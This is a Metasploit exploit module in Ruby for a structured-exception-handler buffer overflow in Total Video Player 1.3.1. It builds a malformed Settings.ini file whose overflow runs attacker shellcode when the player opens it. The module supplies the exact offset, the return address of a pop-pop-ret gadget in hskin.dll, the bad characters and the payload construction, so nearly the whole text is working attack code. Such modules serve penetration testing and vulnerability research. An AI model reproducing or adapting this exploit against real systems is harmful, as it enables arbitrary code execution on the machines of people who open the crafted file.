Total Video Player 1.3.1 (Settings.ini) - SEH Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'Total Video Player 1.3.1 (Settings.ini) - SEH Buffer Overflow',
      'Description'  => %q{
        This module exploits a buffer overflow in Total Video Player 1.3.1. The vulnerability
        occurs opening malformed Settings.ini file e.g. "C:\Program Files\Total Video Player\".
        This module has been tested successfully on Windows WinXp-Sp3-EN, Windows 7, and Windows 8.
      },
      'License'    => MSF_LICENSE,
      'Author'    =>
        [
          'Mike Czumak',                         # (T_v3rn1x) -- @SecuritySift
          'Fr330wn4g3 <Fr330wn4g3[at]gmail.com>' # Metasploit module
        ],
      'References'  =>
        [
          [ 'OSVDB', '100619' ],
          [ 'EDB', '29799' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Platform'  => 'win',
      'Payload'  =>
        {
          'BadChars' => "\x00\x0a\x0d\xff",
          'Space' => 1787,
          'DisableNops' => true,
        },

      'Targets'    =>
        [
          [ 'Windows Universal',
            {
              'Ret'     =>  0x10012848, # pop ebx # pop ecx # ret  - hskin.dll
              'Offset'  =>  256
            }
          ],
        ],
      'Privileged'  => false,
      'DisclosureDate'  => '2013-11-24',
      'DefaultTarget'  => 0))

    register_options([OptString.new('FILENAME', [ false, 'The file name.', 'Settings.ini']),])

  end

  def exploit

    buffer = "[Support Groups]\r\nVideo="
    buffer << rand_text(target['Offset'])
    buffer << generate_seh_payload(target.ret)
    buffer << payload.encoded
    buffer << "\r\n[AssociateType]\r\nAssociateType =1"

    file_create(buffer)

  end
end